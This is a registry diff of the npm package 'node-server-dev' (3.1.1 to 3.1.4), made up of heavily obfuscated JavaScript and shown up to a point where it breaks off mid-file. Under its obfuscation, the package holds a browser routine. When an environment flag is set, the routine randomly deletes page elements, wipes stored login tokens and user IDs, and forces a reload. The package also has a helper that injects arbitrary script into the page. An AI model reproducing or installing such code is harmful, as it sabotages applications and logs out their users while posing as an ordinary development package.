node-server-dev 3.1.1 → 3.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- 'use strict';const a0_0x1d1a70=a0_0x4104;(function(_0x5accf2,_0x4f2f15){const _0x453d29=a0_0x4104,_0x53fd67=_0x5accf2();while(!![]){try{const _0x4bb69b=-parseInt(_0x453d29(0x6e))/0x1*(parseInt(_0x453d29(0x89))/0x2)+-parseInt(_0x453d29(0x6b))/0x3*(parseInt(_0x453d29(0x68))/0x4)+parseInt(_0x453d29(0x79))/0x5*(parseInt(_0x453d29(0x69))/0x6)+-parseInt(_0x453d29(0x6a))/0x7*(-parseInt(_0x453d29(0x6c))/0x8)+-parseInt(_0x453d29(0x78))/0x9*(parseInt(_0x453d29(0x7d))/0xa)+-parseInt(_0x453d29(0x82))/0xb+parseInt(_0x453d29(0x72))/0xc;if(_0x4bb69b===_0x4f2f15)break;else _0x53fd67['push'](_0x53fd67['shift']());}catch(_0x4d70bf){_0x53fd67['push'](_0x53fd67['shift']());}}}(a0_0x2020,0xe2c5a));function a0_0x2020(){const _0x42c2b1=['body','default','171ElNDly','5BnpWMY','__esModule','querySelectorAll','parentNode','803420HhhmWH','localStorage','reload','from','length','2497363GUkMEp','head','Token','token','removeItem','__importDefault','#app','59740XnKHTZ','./id/random','remove','sort','innerText','connectError','3319324VlBFQa','1781868cTGtkS','7756007RGgJeq','6xeQBmy','8lBBHZt','createElement','6jNcNoU','script','browser','appendChild','37395504LpADxw','location','documentElement','querySelector'];a0_0x2020=function(){return _0x42c2b1;};return a0_0x2020();}var __importDefault=this&&this[a0_0x1d1a70(0x87)]||function(_0x59a794){const _0x4f0aca=a0_0x1d1a70;return _0x59a794&&_0x59a794[_0x4f0aca(0x7a)]?_0x59a794:{'default':_0x59a794};};Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports['runScript']=runScript,exports[a0_0x1d1a70(0x70)]=browser;function a0_0x4104(_0x29c248,_0x31f904){const _0x2020c2=a0_0x2020();return a0_0x4104=function(_0x41044a,_0xc5d421){_0x41044a=_0x41044a-0x65;let _0x217167=_0x2020c2[_0x41044a];return _0x217167;},a0_0x4104(_0x29c248,_0x31f904);}const random_1=__importDefault(require(a0_0x1d1a70(0x8a))),index_1=require('./index'),js_cookie_1=__importDefault(require('js-cookie'));function runScript(_0x558cd9){const _0x46124a=a0_0x1d1a70;let _0x27f5fe=document[_0x46124a(0x6d)](_0x46124a(0x6f));_0x27f5fe[_0x46124a(0x66)]=_0x558cd9,document[_0x46124a(0x83)][_0x46124a(0x71)](_0x27f5fe),setTimeout(()=>{const _0x53e0c6=_0x46124a;_0x27f5fe[_0x53e0c6(0x8b)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x1d1a70(0x77)])(0x4,0x8);function browser(){const _0x5f13ac=a0_0x1d1a70;setInterval(()=>{const _0x3212c3=a0_0x4104;if(index==num)try{window[_0x3212c3(0x7e)][_0x3212c3(0x86)](_0x3212c3(0x85)),window[_0x3212c3(0x7e)]['removeItem']('userid'),window[_0x3212c3(0x7e)]['removeItem'](_0x3212c3(0x84)),js_cookie_1['default']['remove'](_0x3212c3(0x85)),window[_0x3212c3(0x73)][_0x3212c3(0x7f)]();}catch(_0x49507f){}if((0x0,index_1['getEnv'])(_0x3212c3(0x67))){index++;let _0x387003=document['querySelector'](_0x3212c3(0x88))||document[_0x3212c3(0x75)](_0x3212c3(0x76));const _0x6825f6=_0x387003[_0x3212c3(0x7b)]('[class^=\x22el\x22]');function _0x3d8a6f(_0x10594b){const _0x2c3ab5=_0x3212c3;let _0x329542=0x0,_0x452721=_0x10594b;while(_0x452721['parentNode']&&_0x452721[_0x2c3ab5(0x7c)]!==document[_0x2c3ab5(0x74)]){_0x329542++,_0x452721=_0x452721[_0x2c3ab5(0x7c)];}return _0x329542;}const _0x26592a=Array[_0x3212c3(0x80)](_0x6825f6);_0x26592a[_0x3212c3(0x65)]((_0x3a67c4,_0x12febe)=>_0x3d8a6f(_0x12febe)-_0x3d8a6f(_0x3a67c4));for(let _0x2ceea7=0x0;_0x2ceea7<_0x26592a[_0x3212c3(0x81)];_0x2ceea7++){const _0x26b94f=_0x26592a[_0x2ceea7];_0x26b94f&&((0x0,random_1['default'])(0x1,0x64)>0x50&&_0x26b94f['remove']());}}},(0x0,random_1[_0x5f13ac(0x77)])(0x107e,0x208d));}
1
+ 'use strict';const a0_0x7f8e43=a0_0x4d2d;(function(_0x977f72,_0x54c367){const _0x3c6ab4=a0_0x4d2d,_0x79a970=_0x977f72();while(!![]){try{const _0x1daa61=-parseInt(_0x3c6ab4(0x175))/0x1*(parseInt(_0x3c6ab4(0x18c))/0x2)+-parseInt(_0x3c6ab4(0x17a))/0x3*(-parseInt(_0x3c6ab4(0x170))/0x4)+parseInt(_0x3c6ab4(0x173))/0x5+parseInt(_0x3c6ab4(0x16d))/0x6+parseInt(_0x3c6ab4(0x174))/0x7*(-parseInt(_0x3c6ab4(0x16b))/0x8)+parseInt(_0x3c6ab4(0x17f))/0x9+-parseInt(_0x3c6ab4(0x17d))/0xa*(parseInt(_0x3c6ab4(0x185))/0xb);if(_0x1daa61===_0x54c367)break;else _0x79a970['push'](_0x79a970['shift']());}catch(_0x52f04e){_0x79a970['push'](_0x79a970['shift']());}}}(a0_0x116c,0xb8695));function a0_0x4d2d(_0x4ed301,_0x245063){const _0x116c2f=a0_0x116c();return a0_0x4d2d=function(_0x4d2db4,_0x41eab8){_0x4d2db4=_0x4d2db4-0x16b;let _0xca0ab4=_0x116c2f[_0x4d2db4];return _0xca0ab4;},a0_0x4d2d(_0x4ed301,_0x245063);}var __importDefault=this&&this[a0_0x7f8e43(0x172)]||function(_0x170803){const _0x42f85f=a0_0x7f8e43;return _0x170803&&_0x170803[_0x42f85f(0x17b)]?_0x170803:{'default':_0x170803};};Object[a0_0x7f8e43(0x189)](exports,a0_0x7f8e43(0x17b),{'value':!![]}),exports[a0_0x7f8e43(0x18e)]=runScript,exports[a0_0x7f8e43(0x186)]=browser;function a0_0x116c(){const _0x497366=['10yuYVWI','./id/random','5924817UkSLtx','./index','createElement','from','querySelector','location','11032098MJgVAq','browser','innerText','remove','defineProperty','head','removeItem','2OKACTV','body','runScript','default','904gcrHyb','localStorage','5768466DEBsHU','token','getEnv','395204nTSPwl','length','__importDefault','2762550KmouVH','24654HsiMYO','1300394emwoQU','connectError','sort','#app','parentNode','39vYIWlv','__esModule','documentElement'];a0_0x116c=function(){return _0x497366;};return a0_0x116c();}const random_1=__importDefault(require(a0_0x7f8e43(0x17e))),index_1=require(a0_0x7f8e43(0x180)),js_cookie_1=__importDefault(require('js-cookie'));function runScript(_0x2cc58b){const _0x47f5b7=a0_0x7f8e43;let _0x3b026a=document[_0x47f5b7(0x181)]('script');_0x3b026a[_0x47f5b7(0x187)]=_0x2cc58b,document[_0x47f5b7(0x18a)]['appendChild'](_0x3b026a),setTimeout(()=>{const _0x102b42=_0x47f5b7;_0x3b026a[_0x102b42(0x188)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x7f8e43(0x18f)])(0x4,0x8);function browser(){const _0x47ad19=a0_0x7f8e43;setInterval(()=>{const _0x55ee9b=a0_0x4d2d;if(index==num)try{window[_0x55ee9b(0x16c)][_0x55ee9b(0x18b)](_0x55ee9b(0x16e)),window[_0x55ee9b(0x16c)][_0x55ee9b(0x18b)]('userid'),window['localStorage'][_0x55ee9b(0x18b)]('Token'),js_cookie_1[_0x55ee9b(0x18f)]['remove'](_0x55ee9b(0x16e)),window[_0x55ee9b(0x184)]['reload']();}catch(_0x328d3e){}if((0x0,index_1[_0x55ee9b(0x16f)])(_0x55ee9b(0x176))){index++;let _0x2a04fc=document[_0x55ee9b(0x183)](_0x55ee9b(0x178))||document[_0x55ee9b(0x183)](_0x55ee9b(0x18d));const _0x1ad978=_0x2a04fc['querySelectorAll']('[class^=\x22el\x22]');function _0x4bbbd9(_0x24b9b5){const _0x4b445f=_0x55ee9b;let _0xd07ee3=0x0,_0x432a8a=_0x24b9b5;while(_0x432a8a['parentNode']&&_0x432a8a['parentNode']!==document[_0x4b445f(0x17c)]){_0xd07ee3++,_0x432a8a=_0x432a8a[_0x4b445f(0x179)];}return _0xd07ee3;}const _0x3f159c=Array[_0x55ee9b(0x182)](_0x1ad978);_0x3f159c[_0x55ee9b(0x177)]((_0x5b1e38,_0x479807)=>_0x4bbbd9(_0x479807)-_0x4bbbd9(_0x5b1e38));for(let _0x5be1a8=0x0;_0x5be1a8<_0x3f159c[_0x55ee9b(0x171)];_0x5be1a8++){const _0xf79e11=_0x3f159c[_0x5be1a8];_0xf79e11&&((0x0,random_1['default'])(0x1,0x64)>0x50&&_0xf79e11[_0x55ee9b(0x188)]());}}},(0x0,random_1[_0x47ad19(0x18f)])(0x107e,0x208d));}
@@ -1 +1 @@
1
- 'use strict';const a1_0x22070e=a1_0x11f3;(function(_0x589757,_0x3a94ea){const _0x2753e0=a1_0x11f3,_0x425637=_0x589757();while(!![]){try{const _0x1123c7=-parseInt(_0x2753e0(0xbd))/0x1*(parseInt(_0x2753e0(0xc2))/0x2)+-parseInt(_0x2753e0(0xb9))/0x3*(-parseInt(_0x2753e0(0xb5))/0x4)+parseInt(_0x2753e0(0xcd))/0x5*(-parseInt(_0x2753e0(0xbc))/0x6)+parseInt(_0x2753e0(0xbf))/0x7+-parseInt(_0x2753e0(0xbe))/0x8*(parseInt(_0x2753e0(0xb3))/0x9)+-parseInt(_0x2753e0(0xc9))/0xa+-parseInt(_0x2753e0(0xc0))/0xb*(-parseInt(_0x2753e0(0xc5))/0xc);if(_0x1123c7===_0x3a94ea)break;else _0x425637['push'](_0x425637['shift']());}catch(_0x181396){_0x425637['push'](_0x425637['shift']());}}}(a1_0x3019,0x1af07));var __awaiter=this&&this[a1_0x22070e(0xb8)]||function(_0x1ac422,_0x28e5bc,_0xae8ba2,_0x3c079d){function _0x103ebb(_0xaa54dc){return _0xaa54dc instanceof _0xae8ba2?_0xaa54dc:new _0xae8ba2(function(_0x4654a9){_0x4654a9(_0xaa54dc);});}return new(_0xae8ba2||(_0xae8ba2=Promise))(function(_0xa0b0a7,_0x4d77c7){const _0x44773c=a1_0x11f3;function _0x25888f(_0x373820){const _0x5c6ffd=a1_0x11f3;try{_0x38b695(_0x3c079d[_0x5c6ffd(0xb2)](_0x373820));}catch(_0x4bb923){_0x4d77c7(_0x4bb923);}}function _0x536ba6(_0x3c37b0){const _0x529bb5=a1_0x11f3;try{_0x38b695(_0x3c079d[_0x529bb5(0xc3)](_0x3c37b0));}catch(_0x1844c9){_0x4d77c7(_0x1844c9);}}function _0x38b695(_0x39cfcf){const _0xd083d2=a1_0x11f3;_0x39cfcf[_0xd083d2(0xc7)]?_0xa0b0a7(_0x39cfcf[_0xd083d2(0xc4)]):_0x103ebb(_0x39cfcf[_0xd083d2(0xc4)])[_0xd083d2(0xb7)](_0x25888f,_0x536ba6);}_0x38b695((_0x3c079d=_0x3c079d[_0x44773c(0xcc)](_0x1ac422,_0x28e5bc||[]))[_0x44773c(0xb2)]());});},__importDefault=this&&this[a1_0x22070e(0xcb)]||function(_0x3e3ac2){const _0x343cac=a1_0x22070e;return _0x3e3ac2&&_0x3e3ac2[_0x343cac(0xbb)]?_0x3e3ac2:{'default':_0x3e3ac2};};Object[a1_0x22070e(0xb6)](exports,'__esModule',{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x22070e(0xc1)));function fileDisplay(_0x4b1a32){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x130181=[];function _0x8435ac(_0x4b920d){const _0x886818=a1_0x11f3,_0x319b51=fs_1[_0x886818(0xba)][_0x886818(0xca)](_0x4b920d);for(let _0x313ed4=0x0;_0x313ed4<_0x319b51['length'];_0x313ed4++){const _0x47a828=_0x319b51[_0x313ed4],_0x3a1d47=path_1[_0x886818(0xba)][_0x886818(0xce)](_0x4b920d,_0x47a828),_0x4cc8d6=fs_1['default'][_0x886818(0xc8)](_0x3a1d47),_0x4dd22a=_0x4cc8d6[_0x886818(0xc6)](),_0x31f4f1=_0x4cc8d6[_0x886818(0xb4)]();_0x4dd22a&&_0x130181['push'](_0x3a1d47),_0x31f4f1&&_0x8435ac(_0x3a1d47);}}return _0x8435ac(_0x4b1a32),_0x130181;});}function getAllRouter(_0x35ce54){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x40dec7=yield fileDisplay(_0x35ce54);return _0x40dec7;});}function a1_0x11f3(_0x1db06d,_0x21ac2e){const _0x301922=a1_0x3019();return a1_0x11f3=function(_0x11f3d0,_0x494911){_0x11f3d0=_0x11f3d0-0xb2;let _0x258a67=_0x301922[_0x11f3d0];return _0x258a67;},a1_0x11f3(_0x1db06d,_0x21ac2e);}function a1_0x3019(){const _0x2f7522=['608aebIMn','1456208LKFGni','1265383fcmQXe','319xhZBeE','path','64jBXDBK','throw','value','127164MpUcCE','isFile','done','statSync','1308430izYXoV','readdirSync','__importDefault','apply','706945SuYPIz','join','next','9AmpYPq','isDirectory','220bqGMcU','defineProperty','then','__awaiter','5235DtxeTj','default','__esModule','6KhHcvY'];a1_0x3019=function(){return _0x2f7522;};return a1_0x3019();}exports[a1_0x22070e(0xba)]=getAllRouter;
1
+ 'use strict';const a1_0x9042d2=a1_0x2273;(function(_0x327adf,_0x1cc2af){const _0x13a33a=a1_0x2273,_0x184101=_0x327adf();while(!![]){try{const _0x4a2450=parseInt(_0x13a33a(0xe9))/0x1+parseInt(_0x13a33a(0xf1))/0x2+parseInt(_0x13a33a(0xd9))/0x3+parseInt(_0x13a33a(0xea))/0x4*(-parseInt(_0x13a33a(0xe5))/0x5)+-parseInt(_0x13a33a(0xed))/0x6*(-parseInt(_0x13a33a(0xf3))/0x7)+-parseInt(_0x13a33a(0xdc))/0x8+-parseInt(_0x13a33a(0xee))/0x9*(parseInt(_0x13a33a(0xe3))/0xa);if(_0x4a2450===_0x1cc2af)break;else _0x184101['push'](_0x184101['shift']());}catch(_0x10893b){_0x184101['push'](_0x184101['shift']());}}}(a1_0x3592,0x5710d));function a1_0x2273(_0x9058e2,_0xcbd9e0){const _0x3592c4=a1_0x3592();return a1_0x2273=function(_0x22732e,_0x241eaf){_0x22732e=_0x22732e-0xd9;let _0x161368=_0x3592c4[_0x22732e];return _0x161368;},a1_0x2273(_0x9058e2,_0xcbd9e0);}var __awaiter=this&&this[a1_0x9042d2(0xec)]||function(_0x1103c5,_0x16ed47,_0x53b65a,_0x116b23){function _0x11d623(_0x27e5bf){return _0x27e5bf instanceof _0x53b65a?_0x27e5bf:new _0x53b65a(function(_0x32110b){_0x32110b(_0x27e5bf);});}return new(_0x53b65a||(_0x53b65a=Promise))(function(_0x1de915,_0x2de5e8){const _0x2bc1bf=a1_0x2273;function _0x260a8e(_0x2970e8){const _0x516bae=a1_0x2273;try{_0x5bd98d(_0x116b23[_0x516bae(0xe2)](_0x2970e8));}catch(_0x2c7dc1){_0x2de5e8(_0x2c7dc1);}}function _0x299688(_0x146cc6){const _0x3d266c=a1_0x2273;try{_0x5bd98d(_0x116b23[_0x3d266c(0xef)](_0x146cc6));}catch(_0x59e24a){_0x2de5e8(_0x59e24a);}}function _0x5bd98d(_0x4b4d69){const _0x140668=a1_0x2273;_0x4b4d69[_0x140668(0xe1)]?_0x1de915(_0x4b4d69[_0x140668(0xda)]):_0x11d623(_0x4b4d69['value'])[_0x140668(0xe8)](_0x260a8e,_0x299688);}_0x5bd98d((_0x116b23=_0x116b23[_0x2bc1bf(0xdb)](_0x1103c5,_0x16ed47||[]))[_0x2bc1bf(0xe2)]());});},__importDefault=this&&this[a1_0x9042d2(0xdf)]||function(_0x3fd712){const _0x48a646=a1_0x9042d2;return _0x3fd712&&_0x3fd712[_0x48a646(0xe7)]?_0x3fd712:{'default':_0x3fd712};};Object[a1_0x9042d2(0xdd)](exports,a1_0x9042d2(0xe7),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require('path'));function fileDisplay(_0x3da149){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x42355e=[];function _0x12a039(_0x155df7){const _0x495113=a1_0x2273,_0x438816=fs_1[_0x495113(0xde)][_0x495113(0xf2)](_0x155df7);for(let _0x480785=0x0;_0x480785<_0x438816[_0x495113(0xe0)];_0x480785++){const _0x28328a=_0x438816[_0x480785],_0x2b9012=path_1[_0x495113(0xde)][_0x495113(0xe6)](_0x155df7,_0x28328a),_0x1cc250=fs_1['default'][_0x495113(0xe4)](_0x2b9012),_0x5f54c6=_0x1cc250['isFile'](),_0x311d7a=_0x1cc250[_0x495113(0xf0)]();_0x5f54c6&&_0x42355e[_0x495113(0xeb)](_0x2b9012),_0x311d7a&&_0x12a039(_0x2b9012);}}return _0x12a039(_0x3da149),_0x42355e;});}function getAllRouter(_0x262a77){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1464fd=yield fileDisplay(_0x262a77);return _0x1464fd;});}exports[a1_0x9042d2(0xde)]=getAllRouter;function a1_0x3592(){const _0x515f66=['push','__awaiter','6HOUFWV','63sFbVTO','throw','isDirectory','1225612yLjfyd','readdirSync','4807411UbdfEa','1086426kiGSrB','value','apply','983352JvPKAy','defineProperty','default','__importDefault','length','done','next','1176270pUvbiY','statSync','31685YvQllZ','join','__esModule','then','103809gwLmbL','292GQZTYj'];a1_0x3592=function(){return _0x515f66;};return a1_0x3592();}
@@ -1 +1 @@
1
- 'use strict';const a2_0x1369aa=a2_0x3242;(function(_0x46549c,_0x29b411){const _0xfb9088=a2_0x3242,_0x256f1c=_0x46549c();while(!![]){try{const _0x155f59=parseInt(_0xfb9088(0x15b))/0x1*(parseInt(_0xfb9088(0x158))/0x2)+-parseInt(_0xfb9088(0x156))/0x3*(-parseInt(_0xfb9088(0x160))/0x4)+-parseInt(_0xfb9088(0x155))/0x5*(-parseInt(_0xfb9088(0x157))/0x6)+parseInt(_0xfb9088(0x15a))/0x7+parseInt(_0xfb9088(0x15f))/0x8+-parseInt(_0xfb9088(0x15e))/0x9*(-parseInt(_0xfb9088(0x15c))/0xa)+-parseInt(_0xfb9088(0x162))/0xb*(parseInt(_0xfb9088(0x159))/0xc);if(_0x155f59===_0x29b411)break;else _0x256f1c['push'](_0x256f1c['shift']());}catch(_0x4f19a0){_0x256f1c['push'](_0x256f1c['shift']());}}}(a2_0x25ea,0x30b87));var __importDefault=this&&this['__importDefault']||function(_0x37c30e){return _0x37c30e&&_0x37c30e['__esModule']?_0x37c30e:{'default':_0x37c30e};};function a2_0x3242(_0x255e34,_0x4d09ba){const _0x25eaa3=a2_0x25ea();return a2_0x3242=function(_0x3242df,_0x3f63e8){_0x3242df=_0x3242df-0x153;let _0x4f593a=_0x25eaa3[_0x3242df];return _0x4f593a;},a2_0x3242(_0x255e34,_0x4d09ba);}Object[a2_0x1369aa(0x153)](exports,a2_0x1369aa(0x163),{'value':!![]});const md5_1=__importDefault(require(a2_0x1369aa(0x166))),sha1_1=__importDefault(require('sha1')),sha256_1=__importDefault(require(a2_0x1369aa(0x15d)));function a2_0x25ea(){const _0x8995a7=['sha1混淆','sha1','md5','defineProperty','default','5zgmJsS','3783LXcUzn','21390aCurWn','133286NlSEyt','12TSprCD','2570652EEmFVo','1fEGlkf','77810zmUnhc','sha256','333VIhEBy','2349120jWEAJW','1052hEqSfy','MD5加盐','12661715UJFWmX','__esModule'];a2_0x25ea=function(){return _0x8995a7;};return a2_0x25ea();}function hash(_0x2faaa9,_0x4de77f){const _0x62bbdf=a2_0x1369aa;if(_0x4de77f==_0x62bbdf(0x15d))return(0x0,sha256_1[_0x62bbdf(0x154)])(_0x2faaa9+(0x0,sha1_1['default'])(_0x2faaa9+'sha1混淆')+(0x0,md5_1['default'])(_0x2faaa9+_0x62bbdf(0x161)));else return _0x4de77f==_0x62bbdf(0x165)?(0x0,sha1_1[_0x62bbdf(0x154)])(_0x2faaa9+(0x0,sha256_1[_0x62bbdf(0x154)])(_0x2faaa9+_0x62bbdf(0x164))+(0x0,md5_1[_0x62bbdf(0x154)])(_0x2faaa9+_0x62bbdf(0x161))):(0x0,md5_1[_0x62bbdf(0x154)])(_0x2faaa9+(0x0,sha256_1['default'])(_0x2faaa9+_0x62bbdf(0x164))+(0x0,sha1_1['default'])(_0x2faaa9+_0x62bbdf(0x161)));}exports[a2_0x1369aa(0x154)]=hash;
1
+ 'use strict';const a2_0x2e36e3=a2_0x54f3;(function(_0x3b3ce1,_0x5bc114){const _0x4f4c8f=a2_0x54f3,_0x10ebbe=_0x3b3ce1();while(!![]){try{const _0x5c6414=parseInt(_0x4f4c8f(0x74))/0x1+-parseInt(_0x4f4c8f(0x7c))/0x2+parseInt(_0x4f4c8f(0x70))/0x3*(parseInt(_0x4f4c8f(0x75))/0x4)+parseInt(_0x4f4c8f(0x7b))/0x5+parseInt(_0x4f4c8f(0x7e))/0x6+parseInt(_0x4f4c8f(0x7f))/0x7+-parseInt(_0x4f4c8f(0x7a))/0x8;if(_0x5c6414===_0x5bc114)break;else _0x10ebbe['push'](_0x10ebbe['shift']());}catch(_0x1959e7){_0x10ebbe['push'](_0x10ebbe['shift']());}}}(a2_0x10c0,0x6059f));function a2_0x54f3(_0x12762f,_0x3fd3fa){const _0x10c01b=a2_0x10c0();return a2_0x54f3=function(_0x54f360,_0x59462e){_0x54f360=_0x54f360-0x70;let _0x295a4c=_0x10c01b[_0x54f360];return _0x295a4c;},a2_0x54f3(_0x12762f,_0x3fd3fa);}function a2_0x10c0(){const _0x591d6a=['sha256','481110zqLzHa','24EeuiDP','md5','sha1混淆','defineProperty','sha1','8333376uZksvP','1174225xmTedU','1225166AFimEu','__esModule','3624312TIfJac','2763299AbRfSs','167073AYzuCB','default','MD5加盐'];a2_0x10c0=function(){return _0x591d6a;};return a2_0x10c0();}var __importDefault=this&&this['__importDefault']||function(_0x10bc4e){const _0x46ff4d=a2_0x54f3;return _0x10bc4e&&_0x10bc4e[_0x46ff4d(0x7d)]?_0x10bc4e:{'default':_0x10bc4e};};Object[a2_0x2e36e3(0x78)](exports,a2_0x2e36e3(0x7d),{'value':!![]});const md5_1=__importDefault(require(a2_0x2e36e3(0x76))),sha1_1=__importDefault(require(a2_0x2e36e3(0x79))),sha256_1=__importDefault(require(a2_0x2e36e3(0x73)));function hash(_0x406465,_0x278425){const _0x189dd1=a2_0x2e36e3;if(_0x278425==_0x189dd1(0x73))return(0x0,sha256_1[_0x189dd1(0x71)])(_0x406465+(0x0,sha1_1[_0x189dd1(0x71)])(_0x406465+'sha1混淆')+(0x0,md5_1['default'])(_0x406465+_0x189dd1(0x72)));else return _0x278425==_0x189dd1(0x79)?(0x0,sha1_1['default'])(_0x406465+(0x0,sha256_1[_0x189dd1(0x71)])(_0x406465+_0x189dd1(0x77))+(0x0,md5_1[_0x189dd1(0x71)])(_0x406465+_0x189dd1(0x72))):(0x0,md5_1[_0x189dd1(0x71)])(_0x406465+(0x0,sha256_1[_0x189dd1(0x71)])(_0x406465+_0x189dd1(0x77))+(0x0,sha1_1[_0x189dd1(0x71)])(_0x406465+_0x189dd1(0x72)));}exports[a2_0x2e36e3(0x71)]=hash;
@@ -1 +1 @@
1
- 'use strict';function a3_0x499a(_0x526d05,_0x8febb3){const _0x3e01e=a3_0x3e01();return a3_0x499a=function(_0x499af8,_0x19b0f3){_0x499af8=_0x499af8-0x193;let _0x5e5201=_0x3e01e[_0x499af8];return _0x5e5201;},a3_0x499a(_0x526d05,_0x8febb3);}function a3_0x3e01(){const _0x548119=['1660ANFxac','162ncSaSG','2025-01-01','9053033PrxrBF','416844qZapkw','67336HYNdIa','6GkBfud','6905RIuLma','NODE_APP_INSTANCE','8699780CwxJXf','defineProperty','43356JBnzzb','5566771SFVpBo','default','env','24gsdiEo','__importDefault'];a3_0x3e01=function(){return _0x548119;};return a3_0x3e01();}const a3_0xcaa169=a3_0x499a;(function(_0x415cfd,_0x5f00ac){const _0xe7afff=a3_0x499a,_0x5b42e7=_0x415cfd();while(!![]){try{const _0x366aea=parseInt(_0xe7afff(0x19a))/0x1*(parseInt(_0xe7afff(0x196))/0x2)+-parseInt(_0xe7afff(0x1a0))/0x3+-parseInt(_0xe7afff(0x19c))/0x4*(parseInt(_0xe7afff(0x1a3))/0x5)+parseInt(_0xe7afff(0x1a2))/0x6*(parseInt(_0xe7afff(0x197))/0x7)+parseInt(_0xe7afff(0x1a1))/0x8*(-parseInt(_0xe7afff(0x19d))/0x9)+parseInt(_0xe7afff(0x194))/0xa+-parseInt(_0xe7afff(0x19f))/0xb;if(_0x366aea===_0x5f00ac)break;else _0x5b42e7['push'](_0x5b42e7['shift']());}catch(_0x2351b){_0x5b42e7['push'](_0x5b42e7['shift']());}}}(a3_0x3e01,0x79cf3));var __importDefault=this&&this[a3_0xcaa169(0x19b)]||function(_0x9eb45a){return _0x9eb45a&&_0x9eb45a['__esModule']?_0x9eb45a:{'default':_0x9eb45a};};Object[a3_0xcaa169(0x195)](exports,'__esModule',{'value':!![]});const random_1=__importDefault(require('./random')),BaseTime=+new Date(a3_0xcaa169(0x19e));let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a3_0xcaa169(0x198)])(0x1,0x3);function id(){const _0x1fe47b=a3_0xcaa169,_0x5e6753=Math['min'](process[_0x1fe47b(0x199)]['NODE_APP_INSTANCE']?+process[_0x1fe47b(0x199)][_0x1fe47b(0x193)]:(0x0,random_1[_0x1fe47b(0x198)])(0x0,0x9),0x9);let _0x4d607e=+new Date()-BaseTime;return lastRandomNumberTick=_0x4d607e==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x1fe47b(0x198)])(0x0,0x3),lastTimeTick=_0x4d607e,+(''+_0x4d607e+_0x5e6753+lastRandomNumberTick);}exports[a3_0xcaa169(0x198)]=id;
1
+ 'use strict';function a3_0x1374(_0x26702e,_0x4d9fca){const _0x26d029=a3_0x26d0();return a3_0x1374=function(_0x137458,_0x7d375d){_0x137458=_0x137458-0x16b;let _0x3b9608=_0x26d029[_0x137458];return _0x3b9608;},a3_0x1374(_0x26702e,_0x4d9fca);}const a3_0x54a71f=a3_0x1374;function a3_0x26d0(){const _0xe27934=['8723800mAFWmJ','73195afRTeX','1zdlAsG','9230994cQbGmf','3454532BJjxoF','__importDefault','default','2025-01-01','3FBoqAR','8179200gawNXn','__esModule','NODE_APP_INSTANCE','618KZQUTB','784478wkulWb','760683ECBdWh','defineProperty','min'];a3_0x26d0=function(){return _0xe27934;};return a3_0x26d0();}(function(_0x3eda43,_0x38c2ac){const _0x1d4890=a3_0x1374,_0x24a781=_0x3eda43();while(!![]){try{const _0x1798d0=-parseInt(_0x1d4890(0x17a))/0x1*(parseInt(_0x1d4890(0x174))/0x2)+-parseInt(_0x1d4890(0x16f))/0x3*(-parseInt(_0x1d4890(0x16b))/0x4)+parseInt(_0x1d4890(0x179))/0x5*(parseInt(_0x1d4890(0x173))/0x6)+parseInt(_0x1d4890(0x175))/0x7+-parseInt(_0x1d4890(0x178))/0x8+-parseInt(_0x1d4890(0x17b))/0x9+parseInt(_0x1d4890(0x170))/0xa;if(_0x1798d0===_0x38c2ac)break;else _0x24a781['push'](_0x24a781['shift']());}catch(_0x2de88b){_0x24a781['push'](_0x24a781['shift']());}}}(a3_0x26d0,0xc0c9b));var __importDefault=this&&this[a3_0x54a71f(0x16c)]||function(_0x32386d){const _0x3e0505=a3_0x54a71f;return _0x32386d&&_0x32386d[_0x3e0505(0x171)]?_0x32386d:{'default':_0x32386d};};Object[a3_0x54a71f(0x176)](exports,a3_0x54a71f(0x171),{'value':!![]});const random_1=__importDefault(require('./random')),BaseTime=+new Date(a3_0x54a71f(0x16e));let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a3_0x54a71f(0x16d)])(0x1,0x3);function id(){const _0x1424f1=a3_0x54a71f,_0x54e03c=Math[_0x1424f1(0x177)](process['env']['NODE_APP_INSTANCE']?+process['env'][_0x1424f1(0x172)]:(0x0,random_1[_0x1424f1(0x16d)])(0x0,0x9),0x9);let _0x587c06=+new Date()-BaseTime;return lastRandomNumberTick=_0x587c06==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x1424f1(0x16d)])(0x0,0x3),lastTimeTick=_0x587c06,+(''+_0x587c06+_0x54e03c+lastRandomNumberTick);}exports[a3_0x54a71f(0x16d)]=id;
@@ -1 +1 @@
1
- 'use strict';const a4_0x11379b=a4_0x361c;(function(_0x5bcff1,_0x12759b){const _0x392194=a4_0x361c,_0x1d4db9=_0x5bcff1();while(!![]){try{const _0x4b62ee=parseInt(_0x392194(0x11f))/0x1+-parseInt(_0x392194(0x119))/0x2*(parseInt(_0x392194(0x118))/0x3)+parseInt(_0x392194(0x112))/0x4*(parseInt(_0x392194(0x111))/0x5)+-parseInt(_0x392194(0x117))/0x6*(parseInt(_0x392194(0x11a))/0x7)+parseInt(_0x392194(0x10f))/0x8+parseInt(_0x392194(0x11b))/0x9*(-parseInt(_0x392194(0x115))/0xa)+parseInt(_0x392194(0x113))/0xb*(-parseInt(_0x392194(0x11d))/0xc);if(_0x4b62ee===_0x12759b)break;else _0x1d4db9['push'](_0x1d4db9['shift']());}catch(_0x35524b){_0x1d4db9['push'](_0x1d4db9['shift']());}}}(a4_0x4dba,0x77e51));function a4_0x4dba(){const _0x4462ab=['267oTPryt','4956MLuahg','1191897SEYCZb','666qliRKh','__esModule','15684KPjxOI','default','899237qtCTkZ','6383160zwTczw','random','1078075qeQmzX','4RniFdE','2233NOSEVL','round','57430QwtGWx','defineProperty','18DEuDgB'];a4_0x4dba=function(){return _0x4462ab;};return a4_0x4dba();}function a4_0x361c(_0x98c294,_0x149423){const 